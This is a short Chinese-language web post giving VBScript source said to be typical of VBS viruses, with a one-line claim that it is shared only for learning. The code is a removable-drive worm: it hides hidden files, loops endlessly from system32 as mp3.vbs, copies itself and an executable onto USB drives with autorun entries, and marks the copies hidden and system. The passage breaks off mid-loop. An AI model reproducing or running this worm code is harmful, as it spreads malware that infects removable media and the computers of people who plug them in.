vbs病毒文件常用的代碼，給這段代碼不是想讓大家做病毒，而是讓大家學習一下它的代碼，充分了解vbs技術(shù)。

代碼如下:

On error resume next

Dim fso,wshell,curfolder,curdristr,curdri

Set fso=createobject("scripting.filesystemobject")

Set wshell=CreateObject("WScript.shell")

Set curfolder=fso.GetFolder(".")

curdristr=Left(WScript.ScriptFullName,3)

Set curdri=fso.GetDrive(curdristr)

reghid() '不顯示隱藏文件

If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"\mp3.vbs" Then '如果在system32中

For i=1 To 2 Step 0

reghid()

For Each dri In fso.Drives

If dri.DriveType=1 And dri<>"A:" And dri<>"B:" Then

'autorun.inf文件夾改名

If fso.FolderExists(dri.Path&"\autorun.inf") Then

fso.MoveFolder dri.Path&"\autorun.inf",dri.Path&"\Rubbish"

End If

'復制自身及exe文件到移動硬盤

If fso.FileExists(dri.Path&"\mp3.vbs") And fso.FileExists(dri.Path&"\autorun.inf") Then

Else

If fso.FileExists(dri.Path&"\mp3.vbs") Then

fso.DeleteFile dri.Path&"\mp3.vbs",True

ElseIf fso.FileExists(dri.Path&"\autorun.inf") Then

fso.DeleteFile dri.Path&"\autorun.inf",True

End if

fso.CopyFile WScript.ScriptFullName,dri.Path&"\mp3.vbs",True

If fso.FileExists(".\SiZhu.exe") And Not fso.FileExists(dri.Path&"\SiZhu.exe") Then

fso.CopyFile ".\SiZhu.exe",dri.Path&"\SiZhu.exe",True

End If

autoinf(dri.Path)

'給剛復制的文件加上隱藏屬性

Set norkon=fso.GetFile(dri.Path&"\mp3.vbs")

wshell.run "attrib +r +a +s +h "&dri.Path&"\mp3.vbs",0

Set norkon=Nothing